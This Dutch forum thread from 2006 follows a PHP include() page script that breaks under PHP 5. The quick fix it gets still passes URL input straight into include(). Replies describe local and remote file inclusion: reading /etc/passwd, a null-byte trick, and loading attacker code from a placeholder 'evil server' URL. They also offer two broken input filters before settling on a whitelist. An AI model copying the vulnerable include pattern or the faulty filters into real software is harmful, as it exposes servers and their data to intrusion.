[PHP 4 -> 5] pagina script

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Hallo,

Zoals velen gebruik ik op mijn sites de include() funtion om pagina's op een bepaalde plaats weer te geven. Nu ben ik een nieuwe site aan het maken, maar daar werkte het scriptje opeens niet (gaf wel output, maar het bleef bij home.php ipv ook naar andere pagina's te gaan). Nu is er op die server php 5 geinstalleerd, dus ik denk dat daar het probleem ligt.

Wat heb ik gedaan:
  • In eerste instantie de pagina getest op een andere server (php4), daar werkte die prima (klik - alleen de links 'home' en 'domburg' werken). Op die manier ben ik erachter gekomen dat er een nieuwe versie van php was :$
  • Gezocht naar de wijzigingen op php.net, phphulp, hier de search ed., maar nergens iets kunnen vinden over wijzigingen mbt de include() functie.
  • Andere scripts (met dezelfde strekking) geprobeerd, maar zelfde verhaal.
  • URL van 'het probleem': klik
De gebruikte code:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if($id == "") {
include("home.php");
}
else {
if(file_exists("$id.php")) {
include("$id.php");
}
else {
include("error/404.html");
}
}
?>


Ik dacht toch dat dit stukje wel door velen gebruikt werd? Het lukt mij echter niet het werkend te krijgen... iemand nog suggesties hoe het in PHP 5 werkend te krijgen?!

Alvast bedankt

Acties:
  • 0 Henk 'm!

  • Totaalgeflipt
  • Registratie: Juli 2006
  • Laatst online: 20:22

Totaalgeflipt

De enige echte

Bah vies coderen hier.

Gebruik Super Globels dus
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
$id = $_GET['id'];

if($id == "") { 
include("home.php"); 
} 
else { 
if(file_exists("$id.php")) { 
include("$id.php"); 
} 
else { 
include("error/404.html"); 
} 
} 
?>

Acties:
  • 0 Henk 'm!

  • AW_Bos
  • Registratie: April 2002
  • Laatst online: 00:03

AW_Bos

Liefhebber van nostalgie... 🕰️

Dit kan goed kloppen. Waar komt $id vandaan?

Je moet tegenwoordig ook Superglobals gebruiken:
$id = $_GET['id']

Telecommunicatie van vroeger
🚅Alles over spoor en treintjes


Acties:
  • 0 Henk 'm!

  • AtleX
  • Registratie: Maart 2003
  • Niet online

AtleX

Tyrannosaurus Lex 🦖

Wat werkt er niet dan? Krijg je foutmeldingen? Doet het hele script gewoon niks? Ik gok dat register_globals uitstaan en $id daardoor niet meer werkt. Als $id echt afkomstig is uit de URL is dit trouwens wel een bijzonder lek script. :X

Sole survivor of the Chicxulub asteroid impact.


Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Totaalgeflipt schreef op dinsdag 21 november 2006 @ 17:22:
Bah vies coderen hier.

Gebruik Super Globels dus
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
$id = $_GET['id'];

if($id == "") { 
include("home.php"); 
} 
else { 
if(file_exists("$id.php")) { 
include("$id.php"); 
} 
else { 
include("error/404.html"); 
} 
} 
?>
Wow, dat ging snel! Dit werkt perfect, thanks!

(en daar zit je dan 2 dagen op te ploeteren :))
AtleX schreef op dinsdag 21 november 2006 @ 17:23:
Wat werkt er niet dan? Krijg je foutmeldingen? Doet het hele script gewoon niks? Ik gok dat register_globals uitstaan en $id daardoor niet meer werkt. Als $id echt afkomstig is uit de URL is dit trouwens wel een bijzonder lek script. :X
Zoals ik zei, ik kreeg wel output, maar alleen home.php, dus verder geen andere pagina's.

Hoe bedoel je, waarom is dit script lek?

[ Voor 33% gewijzigd door Verwijderd op 21-11-2006 17:27 ]


Acties:
  • 0 Henk 'm!

Verwijderd

Heb je al een echo $id gedaan om te checken of je die nog wel doorkrijgt via de url?
Misschien heeft het niet zo zeer met de upgrade van 4 naar 5 te maken maar met het niet meer doorgeven van variabelen via de url.
(Dat is volgens mij een optie in php, die nu misschien is uitgelaten) (register_globals?)
Kun je de phpinfo() van de server opvragen?

Acties:
  • 0 Henk 'm!

  • eXcyle
  • Registratie: Juni 2002
  • Laatst online: 20-09 15:55
Sinds PHP 4.2.0 staan register globals standaard UIT, dit wil zeggen dat variabelen die via je cookie, post en get binnen komen niet meer in de standaard variabelen scope worden gezet maar enkel via de array's $_COOKIE, $_POST, $_GET beschikbaar zijn.

De ?id= uit je url is dus niet meer beschikbaar via $id maar wel via $_GET['id']

offtopic:
Spuit 11 , moet sneller gaan tikken dus :X

[ Voor 10% gewijzigd door eXcyle op 21-11-2006 17:29 ]


Acties:
  • 0 Henk 'm!

  • Totaalgeflipt
  • Registratie: Juli 2006
  • Laatst online: 20:22

Totaalgeflipt

De enige echte

Als je blieft. Beter is nog je hele script aan te passen. Dit script is zo lek als een zeef

Acties:
  • 0 Henk 'm!

Verwijderd

Cool... je kan via GET variabele elke willekeurige php pagina op de server openen :+

edit: oh... dat was al min of meer gezegd..

[ Voor 21% gewijzigd door Verwijderd op 21-11-2006 17:29 ]


Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Verwijderd schreef op dinsdag 21 november 2006 @ 17:29:
Cool... je kan via GET variabele elke willekeurige php pagina op de server openen :+

edit: oh... dat was al min of meer gezegd..
hmmm... als in, pagina's openen, wijzigen.... en weer opslaan?!?!
Is dat met bv. een .htaccess te beveiligen??

[ Voor 6% gewijzigd door Verwijderd op 21-11-2006 17:31 ]


Acties:
  • 0 Henk 'm!

  • Shadowman
  • Registratie: Januari 2002
  • Niet online
Verwijderd schreef op dinsdag 21 november 2006 @ 17:29:
Cool... je kan via GET variabele elke willekeurige php pagina op de server openen :+

edit: oh... dat was al min of meer gezegd..
(%00)

Openen als in lezen, niet schrijven oid. Het is niet met .htaccess op te lossen aangezien dat op een ander niveau werkt. Je zult je script zelf moeten beveiligen, wat op zich vrij simpel te doen is. Je moet controleren of een pagina mag worden geinclude. Controleren dus of de $id-variabele met de juiste content is gevuld.

Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Mooi rijtje zo.... :) maar waarom zou je dat doen? Ik ga nog ff het een en ander over de beveiliging lezen, maar het nut snap ik nog niet echt. Je hebt er toch niks aan om dat te doen?

Acties:
  • 0 Henk 'm!

  • Shadowman
  • Registratie: Januari 2002
  • Niet online
Verwijderd schreef op dinsdag 21 november 2006 @ 17:59:
[...]


Mooi rijtje zo.... :) maar waarom zou je dat doen? Ik ga nog ff het een en ander over de beveiliging lezen, maar het nut snap ik nog niet echt. Je hebt er toch niks aan om dat te doen?
Je kunt vrij simpel de /etc/passwd uitlezen. (En alle andere bestanden waar je script bij kan). Je webhoster zal daar wss niet zo blij mee zijn. Je kan verder ook vrij veel uitlezen van bestanden van andere gebruikers. (Ik snap overigens niet waarom je webhoster de sites niet in een jail zet).

[ Voor 8% gewijzigd door Shadowman op 21-11-2006 19:00 . Reden: voorbeeld-linkje niet echt nuttig ]


Acties:
  • 0 Henk 'm!

  • EnsconcE
  • Registratie: Oktober 2001
  • Laatst online: 19-06 00:07
kijk ook even hier naar:
PHP:
1
2
3
4
5
6
7
<?php 
$firstChar = substr($_GET['var'], 0, 1);

if (($firstChar == '.') || ($firstChar == DIRECTORY_SEPARATOR) || ($firstChar == '/')) {
    die('The file you requested does not exist');
}
?>

Acties:
  • 0 Henk 'm!

  • AW_Bos
  • Registratie: April 2002
  • Laatst online: 00:03

AW_Bos

Liefhebber van nostalgie... 🕰️

Shadowman schreef op dinsdag 21 november 2006 @ 18:59:
[...]
Je kunt vrij simpel de /etc/passwd uitlezen. (En alle andere bestanden waar je script bij kan). Je webhoster zal daar wss niet zo blij mee zijn. Je kan verder ook vrij veel uitlezen van bestanden van andere gebruikers. (Ik snap overigens niet waarom je webhoster de sites niet in een jail zet).
Hangt ervanaf hoe de base_restriction in PHP ingesteld is, meestal kan je niet buiten je webroot komen...

Telecommunicatie van vroeger
🚅Alles over spoor en treintjes


Acties:
  • 0 Henk 'm!

  • Shadowman
  • Registratie: Januari 2002
  • Niet online
EnsconcE schreef op dinsdag 21 november 2006 @ 20:55:
kijk ook even hier naar:
PHP:
1
2
3
4
5
6
7
<?php 
$firstChar = substr($_GET['var'], 0, 1);

if (($firstChar == '.') || ($firstChar == DIRECTORY_SEPARATOR) || ($firstChar == '/')) {
    die('The file you requested does not exist');
}
?>
Die code is ook onbetrouwbaar.
error/../home
^ zal netjes de home.php includen, maar je kan heel simpel verder omlaag gaan in de dir-structuur.

De veiligste manier is whitelisten van pagina's.
PHP:
1
2
3
4
5
6
7
$allowed_pages = array('home', 'domburg');
if (in_array($_GET['id'], $allowed_pages)) {
  include($_GET['id'] . '.php');
}
else {
  include($allowed_pages[0] . '.php');
}


@Arien: bij de webhoster waar de site van de TS staat kun je gewoon buiten de homedir komen.

Acties:
  • 0 Henk 'm!

  • EnsconcE
  • Registratie: Oktober 2001
  • Laatst online: 19-06 00:07
Shadowman schreef op dinsdag 21 november 2006 @ 21:46:
[...]

Die code is ook onbetrouwbaar.
error/../home
^ zal netjes de home.php includen, maar je kan heel simpel verder omlaag gaan in de dir-structuur.

De veiligste manier is whitelisten van pagina's.
PHP:
1
2
3
4
5
6
7
$allowed_pages = array('home', 'domburg');
if (in_array($_GET['id'], $allowed_pages)) {
  include($_GET['id'] . '.php');
}
else {
  include($allowed_pages[0] . '.php');
}


@Arien: bij de webhoster waar de site van de TS staat kun je gewoon buiten de homedir komen.
oei, das handig om te weten.

maar als je in een situatie zit waar je niet alle includes specifiek wil beheren maar waar je wel weet dat ze in een map staan kan je dit nog altijd doen
PHP:
1
2
3
4
5
6
7
<?php 
$input = $_GET['var'];

if (preg_match('/../i', $input) || preg_match(/DIRECTORY_SEPERATOR/i, $input) || preg_match('/\/i', $input)) {
    die('The file you requested does not exist');
}
?>

deze ff snel getypt, maar het gaat om het idee

Acties:
  • 0 Henk 'm!

  • LuCarD
  • Registratie: Januari 2000
  • Niet online

LuCarD

Certified BUFH

Shadowman schreef op dinsdag 21 november 2006 @ 21:46:
[...]

Die code is ook onbetrouwbaar.
error/../home
^ zal netjes de home.php includen, maar je kan heel simpel verder omlaag gaan in de dir-structuur.

De veiligste manier is whitelisten van pagina's.
PHP:
1
2
3
4
5
6
7
$allowed_pages = array('home', 'domburg');
if (in_array($_GET['id'], $allowed_pages)) {
  include($_GET['id'] . '.php');
}
else {
  include($allowed_pages[0] . '.php');
}


@Arien: bij de webhoster waar de site van de TS staat kun je gewoon buiten de homedir komen.
DIt is een mooie oplossing.

Je kan via include ook externe bestanden includen. Mits fopen_url wrapper aan staat, meeste hosters staat deze wel aan!

http://www.zuidstraat-dom.../<MY_EVIL_SERVER>/include

Als die include dan de php file als text file terug weer geeft dan word deze code zo op jouw server uitgevoerd.

Handig voor spam runs, of om je hele site even te vervangen als je rechten niet helemaal oke staan .

Programmer - an organism that turns coffee into software.


Acties:
  • 0 Henk 'm!

  • Roa
  • Registratie: December 2002
  • Laatst online: 03-07-2024

Roa

Verwijderd schreef op dinsdag 21 november 2006 @ 17:59:
[...]


Mooi rijtje zo.... :) maar waarom zou je dat doen? Ik ga nog ff het een en ander over de beveiliging lezen, maar het nut snap ik nog niet echt. Je hebt er toch niks aan om dat te doen?
Zoals ook boven mij al is aangegeven, zorgt je huidige code voor een groot veiligheids risico.

Die link die hij gaf toonde dat aan, wat doet die link namelijk?
Hij opent de pagina index2.php, waarop jouw code staat, en geeft $id de waarde index2 mee. Jouw code zal de id uitlezen en gaan zoeken naar index2.php, die zal geopend worden, in index2.php staat weer jouw code die dus weer index2.php opent. Enzovoorts.

Zoals boven mij al beschreven zijn er vele manieren om ervoor te zorgen dat er alleen pagina's geopend kunnen worden die geopend mogen worden. Als je van te voren weet welke pagina's er zijn, kan je een array maken. Wat er dan gebeurd is dat de $id uit de url wordt vergeleken met een lijst die jij hebt samengesteld. Als je $id niet in de lijst staat, zal hij een standaard pagina weergeven (home.php bijvoorbeeld). Zo voorkom je dat iemand een andere pagina kan openen via index.php zonder dat jij het wil. Zeker als die andere pagina misschien wel op een andere server staat:

Als ik een php pagina zou maken die bijvoorbeeld van jouw database een dumb maakt en die naar mij mailed en ik zet die pagina op een server, zou ik via jouwadres.nl/index.php?id=http://www.mijnadres.nl/mijnpagina.php mijn pagina op jouw server kunnen uitvoeren. Dan heb ik dus toegang tot alles waar jouw pagina's ook toegang tot hebben. Zeker als je al met de database verbonden bent kan ik zonder een username of password alles uit die database halen wat ik wil.

Als je niet van te voren precies kan zeggen welke pagina's je gaat includen (wellicht omdat jij niet de enige bent die pagina's aanmaakt) is een array niet zo handig. Persoonlijk heb ik daar nog geen ervaring mee, dus daar zou ik je zo out-of-the-top-of-my-head even niet over kunnen vertellen, maar nogmaals, ik spuit 11 hier, boven mij staan al veel nuttige reacties.

Research is what I'm doing when I don't know what I'm doing.


Acties:
  • 0 Henk 'm!

  • EnsconcE
  • Registratie: Oktober 2001
  • Laatst online: 19-06 00:07
Verwijderd schreef op dinsdag 21 november 2006 @ 17:59:
[...]


Mooi rijtje zo.... :) maar waarom zou je dat doen? Ik ga nog ff het een en ander over de beveiliging lezen, maar het nut snap ik nog niet echt. Je hebt er toch niks aan om dat te doen?
Eigenlijk moet je de website zo programmeren dat er alleen mee gewerkt wordt zoals jij geplanned had. Dat betekend dat elke variabele gedeclareerd wordt door vooropgestelde waardes, dit kan in een array zijn maar je kan de variabele ook vastzetten(max 10 karakters en alleen a-z A-Z 0-9 bijvoorbeeld). Dit is helemaal tot in de puntjes toe uit te werken en zorgt er uiteindelijk voor dat je website niet misbruikt kan worden. Verlies hier overigens het doel van snelheid niet uit het oog, je website moet namelijk niet blijven rekenen of alles wel goed is.

Acties:
  • 0 Henk 'm!

  • AK47
  • Registratie: Juli 2001
  • Laatst online: 04-05-2024
Holmes, nog even tussendoor: de uiteindelijke HTML output van je script is invalid, je include binnen een <td> ... </td> een complete nieuwe webpagina (inclusief <html> tags dus ;)).

Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Sorry voor de wat late reactie, was even weg...

Ik ga me eens even inlezen in de Arrays ed, want als ik dat allemaal zo lees is dat toch wel van belang :)

Bedankt allemaal!

Acties:
  • 0 Henk 'm!

  • sky-
  • Registratie: November 2005
  • Niet online

sky-

qn nna 👌

Totaalgeflipt schreef op dinsdag 21 november 2006 @ 17:22:
Bah vies coderen hier.

Gebruik Super Globels dus
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
$id = $_GET['id'];

if($id == "") { 
include("home.php"); 
} 
else { 
if(file_exists("$id.php")) { 
include("$id.php"); 
} 
else { 
include("error/404.html"); 
} 
} 
?>
Lol nee dat is niet vies, variabelen niet buiten quotes en if $id = "" is natuurlijk ook niets, gebruik isset of !empty

don't be afraid of machines, be afraid of the people who build and train them.


  • Totaalgeflipt
  • Registratie: Juli 2006
  • Laatst online: 20:22

Totaalgeflipt

De enige echte

Ja ok, was ook maar ff snel op mijn werk.ff snel fixen. Maar je hebt idd, het script is nog niet helemaal netjes. Maar hij heeft hem iig weer werken. En ga het ook niet verbeteren. Heb hem alleen even geholpen zodat hij weer werkt. Dus kan hij weer verder knutselem :P

[ Voor 18% gewijzigd door Totaalgeflipt op 23-11-2006 08:18 ]

Pagina: 1